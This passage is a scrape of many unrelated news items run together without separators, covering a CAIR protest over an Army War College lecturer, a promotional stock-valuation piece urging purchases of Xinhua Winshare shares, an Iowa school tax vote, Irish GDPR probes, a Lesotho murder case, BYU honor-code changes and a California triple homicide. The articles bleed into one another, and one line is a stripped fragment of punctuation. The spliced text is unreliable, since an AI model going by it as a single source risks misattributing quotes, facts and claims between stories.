year, Ibrahim is being hosted by the college's U.S. Army Heritage and Education Center (USAHEC). Ibrahim's writings advance a discredited theory known as the "Clash of Civilizations" and argues that "Islam and the West" have been engaged in a centuries-long war. The lecture is based on Ibrahim's 2018 book "Sword and Scimitar: Fourteen Centuries of War between Islam and the West." That book promotes the unsubstantiated thesis that Islam, since its beginning, has "terrorized the West." When Ibrahim was asked, "Is there any chance of an accommodation between Islam and Western societies or this is just wishful thinking?," he replied, "Can water and oil mix?" He also stated: "[Islam] is entirely built on the purported teachings of a seventh century Arabwho for all accounts acted like a seventh century Arab, meaning tribal and uncivilized. Obviously, if this man was a false prophet a liar which is the default, non-Muslim position, then it should be unsurprising that the entire worldview his followers follow, which is tribal and uncivilized, is creating a constant clash with other civilizations." Also: "[T]he hate for Christians and other non-Muslims, including secularists/atheists in the West, did not begin with ISIS, al-Qaeda, Ansar al-Sharia, Boko Haram, or Al Shabaab. It began with Muhammad and his companions, 1,400 years ago." In a statement, CAIR-Philadelphia Executive Director Jacob Bender said: "Just as no educational institution should ever invite a racist to teach African-American history or an anti-Semite to teach Jewish history, the U.S. Army War College should not have -- twice -- invited an anti-Muslim bigot to teach Islamic history. "By endorsing hypocritical, ahistorical and hateful teachings about Islam, the college has declared that the thousands of American Muslims who serve in the U.S. military are not welcome at the school. We hope the college administration will reconsider its decision and disinvite Ibrahim." CAIR-Philadelphia is inviting all veterans and concerned citizens to call the U.S. Army War College at 717-245-3972 to register their concerns. In 2019, CAIR-Philadelphia sent a letter to the U.S. Army War College requesting the removal of Ibrahim's lecture from the college's prestigious 50th Annual Lecture Series. The letter said: "Mr. Ibrahim's analysis is based on poor research and carries a high potential to instigate hatred against Muslims. We are deeply concerned that his troubling views would skew our servicemen and servicewomen's perceptions of Islam and Muslims." SEE: CAIR-Philadelphia Letter to US Army War College Army War College postpones appearance of controversial Islamic historian Last summer, CAIR and its allies launched an online campaign highlighting Ibrahim's Islamophobic views and their negative impact. Led by CAIR-Philadelphia and MPower Change, and supported by Community Responders Network, About Face, and Common Defense, the campaign drew more than 1800 signatures and received widespread support from its interfaith allies. SEE: CAIR-Philadelphia, Partners Call on US Army War College to Drop Islamophobic Speaker CAIR has reported an unprecedented spike in bigotry targeting American Muslims and members of other minority groups since the election of Donald Trump as president. Also last year, The Washington-based civil rights organization released a groundbreaking report, called "Hijacked by Hate: American Philanthropy and the Islamophobia Network," listing the philanthropic foundations, many of them mainstream, that were used by anonymous special interest donors to funnel almost $125 million to anti-Muslim hate groups between 2014 and 2016. The report's authors noted that one outcome of the funding and promotion of anti-Muslim hate and conspiracy theories has been the measurable nationwide increase in anti-Muslim hate violence, bullying of children and discrimination. The period covered by the report showed a marked increase in anti-Muslim hate violence and discrimination. CAIR Report: Anonymous Donors Use Mainstream Philanthropic Groups to Funnel Millions to Anti-Muslim Hate Groups CAIR is America's largest Muslim civil liberties and advocacy organization. Its mission is to enhance understanding of Islam, protect civil rights, promote justice, and empower American Muslims. La mision de CAIR es proteger las libertades civiles, mejorar la comprension del Islam, promover la justicia, y empoderar a los musulmanes en los Estados Unidos. CONTACT: CAIR-Philadelphia Executive Director Jacob Bender, 917-660-3805 (cell), 267-515-6711 (office), [email protected]; CAIR-Philadelphia Outreach and Education Director Ahmet Tekelioglu, 617-401-5397 (cell); [email protected] SOURCE Council on American-Islamic Relations (CAIR) Related Links http://www.cair.com Xinhua Winshare Publishing and Media Co., Ltd. (HKG:811), which is in the retail distributors business, and is based in China, saw significant share price movement during recent months on the SEHK, rising to highs of HK$6.03 and falling to the lows of HK$5.26. Some share price movements can give investors a better opportunity to enter into the stock, and potentially buy at a lower price. A question to answer is whether Xinhua Winshare Publishing and Media's current trading price of HK$5.58 reflective of the actual value of the small-cap? Or is it currently undervalued, providing us with the opportunity to buy? Lets take a look at Xinhua Winshare Publishing and Medias outlook and value based on the most recent financial data to see if there are any catalysts for a price change. Check out our latest analysis for Xinhua Winshare Publishing and Media Is Xinhua Winshare Publishing and Media still cheap? Good news, investors! Xinhua Winshare Publishing and Media is still a bargain right now. In this instance, Ive used the price-to-earnings (PE) ratio given that there is not enough information to reliably forecast the stocks cash flows. I find that Xinhua Winshare Publishing and Medias ratio of 5.71x is below its peer average of 11.22x, which suggests the stock is undervalued compared to the Retail Distributors industry. Xinhua Winshare Publishing and Medias share price also seems relatively stable compared to the rest of the market, as indicated by its low beta. If you believe the share price should eventually reach its true value, a low beta could suggest it is unlikely to rapidly do so anytime soon, and once its there, it may be hard to fall back down into an attractive buying range. What kind of growth will Xinhua Winshare Publishing and Media generate? SEHK:811 Past and Future Earnings, February 21st 2020 Future outlook is an important aspect when youre looking at buying a stock, especially if you are an investor looking for growth in your portfolio. Buying a great company with a robust outlook at a cheap price is always a good investment, so lets also take a look at the company's future expectations. With profit expected to grow by 27% over the next couple of years, the future seems bright for Xinhua Winshare Publishing and Media. It looks like higher cash flow is on the cards for the stock, which should feed into a higher share valuation. Story continues What this means for you: Are you a shareholder? Since 811 is currently undervalued, it may be a great time to accumulate more of your holdings in the stock. With a positive outlook on the horizon, it seems like this growth has not yet been fully factored into the share price. However, there are also other factors such as financial health to consider, which could explain the current undervaluation. Are you a potential investor? If youve been keeping an eye on 811 for a while, now might be the time to enter the stock. Its buoyant future outlook isnt fully reflected in the current share price yet, which means its not too late to buy 811. But before you make any investment decisions, consider other factors such as the strength of its balance sheet, in order to make a well-informed investment decision. Price is just the tip of the iceberg. Dig deeper into what truly matters the fundamentals before you make a decision on Xinhua Winshare Publishing and Media. You can find everything you need to know about Xinhua Winshare Publishing and Media in the latest infographic research report. If you are no longer interested in Xinhua Winshare Publishing and Media, you can use our free platform to see my list of over 50 other stocks with a high growth potential. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. . - , . , 23 . - , - ... WATERLOO In a special election on March 3, Waterloo voters will be asked to approve a revenue purpose statement with a simple majority to allow Waterloo Schools to spend penny sales tax (Secure an Advanced Vision for Education or SAVE) funds that the State of Iowa dedicates to public schools. The polls will be open from 7 a.m. to 8 p.m. on Election Day. In 2019, the statewide penny tax was extended through Jan. 1, 2051, by legislators. The extension requires school districts to update their existing RPS by a public vote. Waterloo Schools is asking voters to consider the RPS to allow the district to spend save dollars or penny sales tax revenue from the state. There will be no new taxes. The district is just asking voters to give permission for the district to utilize the existing revenue for things like school buildings, facility updates and technology needs. The penny sales tax has funded projects like the Waterloo Career Center, Becker, Carver and Orange school buildings, and upgrades at East, Expo and West. Voting is limited to voters who reside in the respective school districts. Black Hawk County will utilize vote centers for the Waterloo School District. Vote centers are polling locations that combine multiple precincts, allowing voters to choose at which location to vote. This election will have 10 vote centers in Waterloo. Voters must vote in one of the vote centers within their respective school district. The locations are listed below: Waterloo school district vote centers: Cedar Valley Church, 3520 Ansborough Ave. Hammond Avenue Brethren Church, 1604 Hammond Ave. Landmark Commons, 1400 Maxhelen Blvd. St. Paul United Methodist Church, 207 W. Louise St. Our Saviors Lutheran Church, 420 Harwood. Harvest Vineyard Church, 715 E. Fourth St. Linden Methodist Church, 301 Butler Ave. Kimball Ridge Center, 2101 Kimball Ave. Zion Lutheran Church, 810 Kimball Ave. Evansdale Community Response Center, 911 Evans Road. Questions may be directed to the Election Office; call the office at 833-3007 or email the office at: election@co.black-hawk.ia.us. The location is 316 E. Fifth St., Courthouse Room 210, Waterloo, 50703. For more information, go to www.waterlooschools.org. Photos of Stacey Snyder's trip to Antarctica Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The first draft decisions by Ireland's data privacy regulator on probes into some of the world's biggest technology firms will go for consultation with other EU regulators this year, the lead watchdog for the bloc said on Thursday. Ireland hosts the European headquarters of a number of U.S. technology firms, making Ireland's Data Protection Commission (DPC) the EU's lead regulator under the General Data Protection Regulation's (GDPR) "One Stop Shop" regime introduced in 2018. The new rules give regulators the power to impose fines for violations of up to 4% of a company's global revenue or 20 million euros, whichever is higher. In its annual report, the DPC said two of the 21 inquiries it had open into big tech firms by the end of 2019 had moved from the investigative stage to the decision-making phase. They related to a 2019 investigation into a bug in Twitter's Android app, where some users' protected tweets were made public and a 2018 probe into the transparency of WhatsApp's data sharing with Facebook and its fellow subsidiaries. Facebook has come under most scrutiny since the new rules came into force in mid-2018 with eight individual probes, plus two into WhatsApp and one into Facebook-owned Instagram. Twitter and Apple are subject to three inquiries each. Google, Verizon Media, Microsoft owned LinkedIn and U.S. digital advertiser Quantcast made up the rest of the cross-border investigations at the end of last year. The DPC has since launched a second inquiry into Google, relating to its processing of location data, and a first probe into the Match Group Inc's Tinder dating app. Under GDPR, the DPC must share its draft decision with all concerned EU supervisory authorities and consider their views in its final verdict. Each of the bloc's regulators may be called on for a majority decision if agreement cannot be reached among the relevant member states. A report last month showed European regulators had imposed just 114 million euros in fines for data breaches since GDPR came into force. The DPC defended the process, saying there would be little benefit in mass producing decisions only to have them overturned by the courts. "A new legal framework and one that contemplates very significant penalties is always going to take time to implement correctly," Helen Dixon, the head of the DPC, said in the annual report. "But have no doubt that intensive work is underway." (Reuters) Source: www.businessworld.ie Outgoing Chairman of the Police Welfare Association Station Sergeant Brenton Smith (left) hands over the staff of leadership to incoming Chairman Corporal Lez Harry. The Royal St. Vincent and the Grenadines Police Force Police Welfare Association (PWA) held its elections for representatives to its Branch Boards on January 24, 2020 . Four (4) persons were nominated to contest for the three (3) available posts on the Senior Branch Board with Sergeants Daniel Prescott, Marilyn Burke and Rochelle Smith emerging as the representatives for that branch. Corporals Lez Harry, Shacky Greene, Colin May and Germano Douglas were elected representatives of the Intermediate Branch Board, while Constables Moise Cummings, Kenroy Martin, Renford Samuel, Rohan Howard and Sherika Gordon were elected to be the representatives of the Junior Branch Board. On February 6, 2020, a General Meeting was convened to elect the chairperson of each Branch Board, the General Secretary and the overall chairperson to oversee the mandate and run the affairs of the Association. Sergeant Rochelle Smith was selected as chairperson of the Senior Branch; Corporal, Lez Harry as Intermediate Branch Board chairperson, and Constable Moise Cummings as Junior Branch chairperson. Constable Somorow Quashie secured the position of General Secretary. Corporal Lez Harry emerged as the new Chairman after he was ratified by the membership. He replaces Station Sergeant Brenton Smith who opted not to run for re-election, citing that he was moving aside to give an opportunity to young persons, with fresh and new ideas, to emerge and come to the forefront. Station Sergeant Smith served as chairman of the PWA from 2006 2013 and again from 2017 -2020. Corporal Harry is a veteran with 23 years of service as a police officer. He was a member of the previous executive, serving for the past three (3) years as chairman of the Intermediate Branch Board. Corporal Harry conceded that it was going to be a mammoth task trying to fill the boots of Station Sergeant Smith. Instead, he said, he will not be trying to fill his boots but rather build on his tremendous work. He went on to thank Station Sergeant Smith for his contribution, and said he would have served the organization with distinction. He assured the membership that his new executive will work hard and do their best, "so great things are to be expected. He implored the general membership to support the new executive and to work hand in hand with the executive as the way forward is charted. The new Chairman said that his executive will foster and forge a good working relationship with the hierarchy of the Royal St. Vincent and the Grenadines Police Force. Air Commodore Rexford G.M. Acquah (rtd) 21.02.2020 LISTEN The Local Union and professional associations of the Ghana Civil Aviation Authority (GCAA) have called for the head of the Board Chairman of GCAA, Air Commodore Rexford G.M. Acquah (rtd) demanding for his removal from office immediately. They have also called for the reclaiming of GCAAs lands. Addressing a press conference in Accra on Thursday, February 20, spokesperson of the Union and associations, William Amoako, said there has been a lot of achievements by aviation entities in Ghana over the years. Unfortunately, he said, Ghana risk eroding the achievements if it doesnt resolve some major challenges facing its aviation industry. Paramount among the pressing issues are the forceful take-over of GCAA lands at La Nkwantanang (640 acres), La TX Cantonments (60 acres), encroachment around the Doppler Very High Frequency Omnidirectional Range (DVOR), according to him. He indicated that lands that have been acquired by the Government of Ghana for purposes of aviation are often encroached upon by unscrupulous individuals for non-aviation purposes. This has reduced significantly the size of land available for aviation related projects, according to him. They have therefore warned that we will not sit down unconcerned and allow GCAA assets be taken over by private and anonymous individuals, for non-aviation purposes. ---Daily Guide Source: Xinhua| 2020-02-22 00:48:19|Editor: Mu Xuequan Video Player Close TIRANA, Feb. 21 (Xinhua) -- Albanian police arrested 115 people in a nationwide crackdown on illegal gambling, a police chief announced on Friday. Speaking at a press conference, Director-General of the Albanian State Police Ardi Veliu declared that the State Police carried out a large scale operation in eight districts across the country against illegal gambling. During the operation codenamed "Games of fortune", the authorities seized around 17.2 million Albanian lek (about 151,000 U.S. dollars), 245 mobile phones, 40 computers, as well as firearms, Veliu added. A total of 1,540 police officers from the Criminal Police and Public Safety Departments of eight police directorates, including Tirana, Elbasan and Fier, participated in the operation. According to the Penal Code, the main organizers of illegal gambling can be sentenced from seven to 10 years in prison. In October 2018, the Albanian parliament approved a law on gambling and another one on the closure of casinos in the entire territory of Albania. Starting from Dec. 31, 2018, all gambling activities are illegal in Albania. (1 U.S. dollar = 113.2 Albanian lek) The 80-year-old Prime Minister of the tiny African country of Lesotho failed to appear in court of Friday where he was due to be charged with the murder of his ex-wife. Thomas Thabane was a no-show at Maseru Magistrate's Court on Friday, a day after police announced he would be charged over the fatal shooting of wife 58-year-old wife Lilopelo in June 2017. Secretary Thabo Thakalekoala said Thabane had gone to South Africa, but denied he had fled justice and insisted that he had gone for a 'routine' doctor's appointment. Thomas Thabane, Prime Minister of Lesotho, was due to be charged Friday with murdering his wife - but fled the country to South Africa for a 'doctor's appointment' Thabane left the mountainous and land-locked country of Lesotho on Thursday night, just hours after police announced their intention to charge him. On Friday morning, just hours after he departed, his office announced that he will stand down as Prime Minister in July due to his age. Police are now investigating his disappearance, and say that if it can be proved he is trying to escape justice then an arrest warrant will be issued. Maesaiah Thabane, 42, Thabane's current wife who he married just two months after Lilopelo's death, has already been charged over the killing. Lilopelo was gunned down outside her home in the capital Maseru in June 2017, just two days before he took office and following a bitter divorce battle. Maesaiah Thabane, wife of Lesotho's Prime Minister Thomas Thabane, appears in court on Tuesday charged with murdering his previous wife Sitting alongside the premier at his inauguration was Maesaiah. He then gave a speech during which he described the death of his wife as a 'senseless killing'. Police said Thursday that the premier is suspected of 'acting in common purpose' in Lilopelo's murder. Her death shook the tiny mountainous kingdom of Lesotho, which is entirely surrounded by South Africa. Police investigations found that communications records from the day of the murder included Thabane's cell phone number. Deputy Police Commissioner Paseka Mokete told AFP that the 80-year-old prime minister 'will be formally charged with... murder'. 'It does not necessarily mean he was there but that he was acting in common purpose,' Mokete said. The Prime Minister's current wife Maesaiah Thabane was charged under the same terms on February 4. 'She was charged under common purpose even though she did not pull the trigger, but people she was acting in consent with pulled the trigger,' said Mokete by phone. Sporting a bright yellow outfit complete with a matching headscarf, she sat straight-faced, next to the prime minister during his inauguration that was held at a stadium in Maseru, two days after the murder. The long unresolved case had plunged the PM's leadership into question, forcing his All Basotho Convention (ABC) party to ask him to resign. The ABC had given him until Thursday to step aside but he snubbed their deadline, instead saying he will only go by July 31. Lipolelo Thabane, 58, was gunned down outside her home in the capital Maseru in June 2017. Her death shook the tiny mountainous kingdom of Lesotho, which is entirely surrounded by South Africa 'I effectively retire as prime minister with effect from the end of July this year, or at an earlier date if all the requisite preparations for my retirement are completed before then,' he said in an address on national radio. He said the decision to step down 'has been the hardest to make in my over half-a-century career as in the public service. I have been battling with this idea for over a year now'. 'The truth is at my age I have lost most of my energy. I'm not as energetic as I used to be a few years ago,' he added. 'I hope that the remaining months that I will spend in office will afford parliament and my party enough time to work on transitional arrangements.' Thabane's re-election in 2017 had brought hopes of stability to Lesotho, a country with a long history of turmoil. He first came to power in 2012 as head of the country's first coalition government, formed after an inconclusive vote. Maesaiah Thabane, wife of Lesotho's Prime Minister Thomas Thabane poses for a photograph at the State House in Maseru on Tuesday Supporters of the first lady Maesaiah Thabane sing and dance outside State House in Maseru, Lesotho, this week But his second term was rocked by Lipolelo's murder and ructions in the ruling party, buffeting the picturesque kingdom of 2.2 million people. Opposition parties and many ordinary people in the country also want Thabane gone. 'It defies logic how he still wants to remain in office despite the controversy that surrounds him,' said street vendor Malefa Mpobole, 42. Another citizen, Lenka Ntjabane, 43, said: 'This old man should just go. He should just take his wife and go'. Addison Jenkins was the president of a club for queer students and allies at Brigham Young University when, in 2016, he was called into the Honor Code Office over his alleged homosexual behavior. At issue was a brief relationship Jenkins had with another student years before, which he told me was reported to administrators by another gay student struggling with his own identity. BYU is the flagship university of the Church of Jesus Christ of Latter-day Saints, and all students must abide by its strict honor code, which forbids the consumption of alcohol and coffee, for example. Queer students were allowed to be open about their stated same-gender attraction. But until this month, the code forbade all forms of physical intimacy that give expression to homosexual feeling. Advertisement Queer students at BYU describe the vagueness of that stricture as causing almost constant unease. Jenkins described the disciplinary process as occasionally surreal. He said that he asked the counselor assigned to him if he could be disciplined simply for hugging another man and was told there are two kinds of hugs: hugs that are motivated by brotherly love and hugs that are sexual in nature. Jenkins left BYU in 2018 without graduating, in part because of the difficulty of navigating campus life as a gay man. Its not like gay kids were getting called into the office every day, or even every week, he said. It wasnt the Gestapo. But the fear of that being able to happen permeated LGBTQ student life in general. Advertisement Advertisement Advertisement Advertisement On Wednesday, word spread that BYU had quietly changed its honor code, removing the section on homosexual behavior that ensnared Jenkins. The changes seem to mean that queer students can engage in ordinary public displays of romantic affection, like holding hands and kissing. Like straight students, they still must abstain from sexual relationships outside of marriage. Unlike straight students, they are offered no promise of future consummation, given that the church does not support gay marriage. Still, allowing queer students to date openly is a momentous shift on the influential conservative campus. On Thursday, queer students and alumni were largely ecstatic. Im still stunned and in shock, said Calvin Burke, a junior who identifies as gay. There was such an atmosphere of fear. This a great move because it eliminates that pressure and fear. Its a blessing. Advertisement Advertisement Junior Kate Foster was with her best friend, Franchesca Lopez, when they heard the news. They decided to celebrate in front of a prominent monument on campus. We ran over to the Brigham Young statue and said, This would be so iconic if we kissed, Foster said. I remember just feeling really extremely happy and feeling a weight had been lifted off my shoulders. (Foster had to call her parents and come out to them as bisexual when a photo of the celebratory moment appeared in a local newspaper story about the honor code: I think they wish I had done it in a less dramatic way than being in the Salt Lake Tribune, but theyve always been supportive.) Advertisement Advertisement Advertisement There has already been some backlash on campus from those who see the change as a concession to liberal values. An underground student group called Save BYU posted copies of the churchs family proclamation around the campus in protest, including several on the statue of Brigham Young that Foster and Lopez kissed under. The brief 1995 document established official LDS positions on marriage (between a man and a woman) and gender roles (Mothers are primarily responsible for the nurture of their children). Save BYUs website states that it was founded to take back Gods school. Advertisement Advertisement BYU has an undergraduate population of 31,000 at its main campus in Provo, Utah, and additional campuses in Idaho and Hawaii. The honor code applies to all students and faculty. There are still questions about what, exactly, the changes will mean for campus life. For example, to be enrolled at BYU, a Latter-day Saint student is generally required to maintain the endorsement of their bishop, a lay leader who counsels church members. It is unlikely that all individual bishops will respond to the changes in the same way. Meanwhile, BYU issued a series of tweets on Wednesday that confused some observers, saying that the principles of the Honor Code remain the same. Carri Jenkins, a representative of the Honor Code Office (and no relation to Addison), said by email that the office will handle questions that arise on an individual, case-by-case basis. But multiple students reported on social media that they had met with leaders in the office and were reassured that queer students can indeed date openly now. Advertisement Advertisement Advertisement Although students said they were surprised by these particular changes, the schools honor code has fallen under intense scrutiny in recent years. In January 2019, the school hired a new director for the office, Kevin Utt, who was tasked with reassessing the code top to bottom. On a campus where public dissent is rare, hundreds of students gathered last spring to protest what they saw as injustices in the codes language and application, which fell disproportionately on women and queer students. In response, Utt announced several changes to the office last summer, including external training for employees. Meanwhile, last year the church reversed a 2015 policy that labeled people in same-sex marriages apostates and barred their minor children from baptism. Advertisement Jenkins, who hopes to reenter BYU this fall to finish his degree, is cautiously optimistic about the impact of the latest changes to the schools honor code. BYU is the cultural nucleus of the church, he said, and it exists to develop future leaders. Until now, it also kept queer people almost totally invisible. In five or 10 years, he said, the guy in your Bio 101 class could be a bishop. Now, when a church member comes out to that bishop, or when hes making decisions about whom to place in other leadership positions, gay people wont just be people hes seen on TV, it will be his roommate from college, Jenkins said. To me, that is absolutely the most important part of this. Eddie McGuire has revealed his new TV project with Bruce McAvaney. The pair will host co-host the AFL's state of origin match at Marvel Stadium on February 28, with the event raising funds for bushfire relief. Eddie, 55, revealed the news on his Triple M Hot Breakfast show on Friday and said he was looking forward to working with Bruce, 66. New gig: Eddie McGuire (pictured) has revealed his new TV project with Bruce McAvaney. The pair will host co-host the AFL's state of origin match at Marvel Stadium on February 28, with the event raising funds for bushfire relief 'I'm going to be luckily hosting (the bushfire relief game) with my old mate Bruce McAvaney,' he said said. 'The last thing we hosted together, Bruce and I, was Teddy Whitten's funeral but before that, I thought at one stage we might have been calling it together.' It comes after the future of Millionaire Hot Seat began looking uncertain, with an industry expert claiming its days could be numbered after it was bumped from its usual time slot. Dream pair: 'I'm going to be luckily hosting (the bushfire relief game) with my old mate Bruce McAvaney,' he said said. Pictured: Bruce McAvaney TV Blackbox editor Rob McKnight, who previously worked for Channel Nine, believes the move 'doesn't bode well' for the once-unbeatable show. Millionaire Hot Seat, which is hosted by Eddie McGuire, has held onto the strategically-important 5pm time slot for the past 11 years. But it was recently moved forward by an hour in the Adelaide market to make way for local news, after losing viewers to Channel Seven's The Chase. The beginning of the end for Millionaire Hot Seat? Channel Nine is reportedly 'losing confidence' in the Eddie McGuire-hosted game show Issues? Millionaire Hot Seat has been losing viewers since September 2015, when fast-paced game show The Chase premiered on Seven 'Moving to 4pm indicates Nine is looking for alternatives,' McKnight said, suggesting that the network may have lost confidence in the format. Millionaire Hot Seat has been losing viewers since September 2015, when fast-paced game show The Chase premiered on Seven. Nine tried to shake things up in 2017 by extending the program to an hour and quickening the pace with the inclusion of the Fastest Finger First Round. But despite these changes, The Chase still remains No. 1 by a significant margin. Congrats. I am slightly biased but I would pick ESADE. ESADE is especially known for tech /marketing and you truly cant beat Barcelona. However, both are great schools so I think it comes down to what you value most. Below is a quick comparison ESADE +29% in technology +31% marketing and sales +198 student or so + Barcelona - more affordable city on the MED. - lower ranked but still high +Lower tuition -Lower incomes in employment report, may be skewed due to high number that go to Spain/Latin America and or startups. According to FT 3 year USD PPP ESADE has slightly higher average though. +known for collaboration, diversity and fun. Generally alums loves their time and I hear very minimal complaints. HEC -17% in technology -11% go marketing and sales -Bigger - almost 300 students. -Paris - more expensive but its Paris. + higher ranked and better regarded in traditional industry (consulting/finance). + Higher incomes on employment report Posted from my mobile device Thai Union donates tuna to coronavirus epicenter in China by Toan Dao February 20,2020 | Source: SeafoodSource Thai Union has sent more than 52,000 cans of King Oscar tuna as humanitarian assistance to Wuhan, the city currently at the center of the COVID-19/coronavirus outbreak in China, Thai Union said in a statement on 14 February. The value of the shipments was not provided. The donation by Thai Union China, a subsidiary of the tuna giant, was conducted through a local logistics service and an online food delivery company in China. The first shipment was delivered to people working on the Wuhan Leishenshan Hospital Project, one of two new hospitals being built for COVID-19 patients. The second was given to more than 15 hospitals in Wuhan, including Wuhan Union Hospital the main hospital treating people that have contracted the deadly virus. Thai Union Global Director of Corporate Affairs and Sustainability Darian McBain said the company believes it has a responsibility to provide humanitarian assistance through what it calls tuna aid, to help support people in regions where the company operates. In response to the epidemic, other Chinese seafood companies have also been donating seafood to the hardest-hit areas, a move that also helps them meet regional and national government appeals to patriotism. The rapid outbreak of the coronavirus, with an origin reportedly tracked to a seafood market in Wuhan, has killed more than 1,700 people in mainland China, with many more cases confirmed in China and other countries, including in the United States, Japan, Thailand, and Germany, South China Morning Post reported 18 February. The city of Wuhan is a major logistics hub for Chinas seafood trade in the central region of the country, and the virus hit the market at its busiest time of the year. The city is also central to the trade in freshwater species like crabs given its location in Hubei Province, at the heart of Chinas freshwater crustacean industry. 2020 Diversified Communications. All rights reserved. Theme(s): Others, Landing Centres, Freshwater ecosystems and threats, Fishing Craft, Gear and Fishing Methods, Post Harvest Technology and Trade, Fisheries Resources, Fisheries Development and Aquaculture, Communities and Organisations, Coastal Ecosystems and Threats. The White House will decide if US President Donald Trump will visit the Sabarmati Ashram during his day-long trip to the city on February 24, Gujarat chief Minister Vijay Rupani said on Friday. Rupani's statement came in the backdrop of speculation in the last two days that the US president will not visit the Sabarmati Ashram, a place closely associated with Mahatma Gandhi. Earlier it was announced that after landing at the airport here on February 24, Trump will go to the Sabarmati Ashram and spend around 30 minutes there. All preparations are in final stages for the visit of US President Donald Trump. He will directly come to Ahmedabad from Washington. "After that a grand roadshow will be organised. "Then he will go to the Motera stadium for 'Namaste Trump' programme where two top leaders of the world (Trump and Prime Minister Narendra Modi) will be present, Rupani told reporters. Asked about Trump's visit to the Sabarmati Ashram, Rupani said, The White House will decide about it and we will be informed soon. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A mother of two has spoken of how a leading childrens charity has proven instrumental in providing invaluable respite care to her three-year-old daughter. Caroline Szczerbowska paid a glowing tribute this week to the assistance she and her husband have received from the Jack and Jill Foundation in caring for the couples eldest daughter, Sofia. Ms Szczerbowska said the level of support had been immeasurable both physically and emotionally. Sofias under Temple Street (Childrens Hospital, Dublin) for neurology, said Caroline, as she spoke to the Leader during a Jack & Jill get together in the Longford Arms Hotel last week. It was through them that we got the support for her. At the time she needed a nurse, but now she has a carer because she cant do anything for herself. She cant feed and shes not able to walk. In singling out the dedicated work of liaison nurse Cathy Keighery and her fellow colleagues, Caroline said the sense of confidence brought about by being able to call on the services of Jack & Jill staff has enabled her to hold down her own job, albeit on a part time basis. In light of those revelations, she delivered a robust message to whatever the make up of the next government, the need for greater State backing was patently clear. Its not just the support you get, its also the feeling of being able to talk to somebody, said Caroline. They (Jack & Jill) need more funding because they dont get it from the HSE. Jack and Jill provides nurses and respite service to the parents of children who were born with severe neurological and developmental delays. Its CEO Carmel Doyle said the service currently offers home help to six Longford based families, bringing to 60 the number of households countywide it had provided assistance to since 1997. Like Ms Szczerbowska, the Jack and Jill chief made a pitch to those presently leading government formation talks to remember the efforts its frontline staff were continuing to make on a daily basis. We get less than 20 per cent of what we require and have to raise 3.5m every year to keep going, she said. We would be saying embrace Jack and Jill and we save the State thousands of euro and give us more backing to do what we do because with Jack and Jill the money really does follow the patient into the home. Just look at our county breakdown which will prove it, but unfortunately we need extra support to keep going. We shouldnt have to raise 80 per cent of what we need to provide such a vital service to children. *One such initiative the charity are currently running is through a novel Jack & Jill Lego Drive. As such members of the public who may have old lego lying around at home are being asked to donate it by bringing it to the DPD centre in Lanesboro in Roscommon. Wanted: Authorities in California are looking for Jose Luis Torres Garcia, 33, who is suspected of killing three men execution-style in a Perris cemetery this week Authorities in California are on the hunt for an 'armed and very dangerous' previously deported man who is believed to have executed three men in a cemetery this week. The three men Perris residents Jaime Covarrubias Espindola, 50; Jose Maria Aguilar-Espejel, 38 and Rodrigo Aguilar-Espejel, 28 were killed at the same time. Their bodies were found Monday in the grass at the Perris Valley Cemetery east of Los Angeles. Riverside County Sheriff Chad Bianco said at a news conference there is a felony warrant out for the arrest of Jose Luis Torres Garcia, 33, with $3million bail. Bianco did not say how the men were killed. 'We do not know his motive,' Bianco said. The sheriff said Garcia acted alone and he knew the three victims. They were discovered in a cemetery near the grave of a man who had been tortured and murdered in Mexico in December 2019. Officials have not said who the grave belonged to, or whether a relationship existed between that person and the recent victims. Scroll down for video Aerial footage shows the lifeless bodies of three men 'blurred' lying in the middle of the Perris Valley Cemetery in Southern California on Monday Riverside sheriff's deputies were summoned to the scene and set up tents to shield the bodies from view 'We dont believe this was a random killing,' Bianco said. 'A regular, normal resident of Perris should not have anything to be afraid of.' The sheriff said Garcia has ties to San Jose, California, and Mexico. He has been deported twice. But authorities have not yet determined his current immigration status. There are already two misdemeanor warrants out for his arrest regarding other cases involving a DUI in Riverside County and drug-related offenses in San Mateo County. He is also known as Jose Torres Garcia, Jose Luis Torres, Ismael Garcia and Ismael Garcia Gutierrez. Bianco said he is believed to be driving a 2001 GMC Yukon SUV or a motorcycle street bike that is possibly a green Kawasaki. Bianco has said detectives were looking into whether the location of the homicides was meant to send a message and whether a cartel or a gang was involved. But on Thursday he said no links to a cartel have been established. Detectives have reviewed surveillance camera footage throughout the city and interviewed people who knew the victims. Garcia is described as 5 feet, 9 inches tall, and weighing 180lbs, with black hair and brown eyes. He is known to drive a dark-blue 2001 GMC Yukon with license plate number 4PDH363, as well as a green street bike that may be a Kawasaki. The trio of victims were found suffering from unspecified injuries and their execution-style deaths are being investigated as a triple homicide Riverside County Sheriff Chad Bianco said at a press conference on Tuesday that detectives are trying to determine whether a cartel or a gang killed the men to send a message Univision reported that the elaborately decorated grave where the three bodies were discovered belonged to a man who was slain in Michoacan, Mexico, on December 20. Riverside Press-Enterprise reported that the burial site where the three bodies were found was festooned with hearts, balloons and a crucifix. Detectives from Riverside have been in contact with Mexican authorities, the sheriff said. According to a Tuesday press release from the agency, deputies from the Perris Station responded to the 900 Block of North Perris Boulevard at around 10.30am Monday after a report of three men laying unresponsive on a burial plot. The trio of victims were found suffering from unspecified injuries. Aerial footage from CBS Los Angeles and still photos taken at the scene showed the victims bodies laying in the grass amid bouquet of flowers and Valentine's Day balloons. The sheriffs department said the men, ages 50, 38 and 28, were killed next to the grave of a man who was killed in Mexico in December 2019 Two of the bodies were next to one another, and the third was a short distance away Detectives worked into the evening Monday gathering evidence as part of the probe Witnesses reported seeing one of the victims hunched other, another laying face down and the third wrapped in something resembling a sleeping bag, according to KTLA5. Two of the bodies were next to one another, possibly on top of a grave marker, and the third was a short distance away. Detectives from the Central Homicide Unit were called to the cemetery and took over the homicide investigation. 'This appears to be an isolated incident and there is no perceived threat to the public,' the press release stated. Perris Mayor Michael Vargas released a statement saying he was 'heartbroken by the horrific crimes that have taken place today.' Leaving the occult: From New Age to Jesus The Christian Post To enjoy our website, you'll need to enable JavaScript in your web browser. Please click here to learn how. Antarctica's Thwaites glacier has warm water from three 